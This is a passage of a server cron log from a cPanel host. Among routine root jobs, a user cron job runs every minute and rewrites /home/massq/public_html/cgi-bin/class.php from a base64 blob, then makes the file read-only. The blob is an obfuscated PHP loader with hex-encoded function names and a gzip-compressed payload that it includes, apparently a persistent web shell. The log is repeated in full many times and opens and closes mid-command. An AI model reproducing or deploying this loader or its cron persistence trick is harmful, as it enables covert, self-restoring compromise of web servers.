"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:08:01 server CROND[6016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:09:01 server CROND[6058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:09:01 server CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 08:10:01 server CROND[6121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:10:01 server CROND[6122]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:10:01 server CROND[6123]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:10:01 server CROND[6124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:11:01 server CROND[6241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:12:01 server CROND[6289]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 08:12:01 server CROND[6290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:13:01 server CROND[6481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:14:01 server CROND[6534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:15:01 server CROND[6584]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 08:15:01 server CROND[6585]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 08:15:01 server CROND[6586]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 08:15:01 server CROND[6587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:16:01 server CROND[6694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:17:01 server CROND[6738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:18:01 server CROND[6881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:19:01 server CROND[6953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 08:20:01 server CROND[7009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 08:20:01 server CROND[7010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 08:20:01 server CROND[7012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0N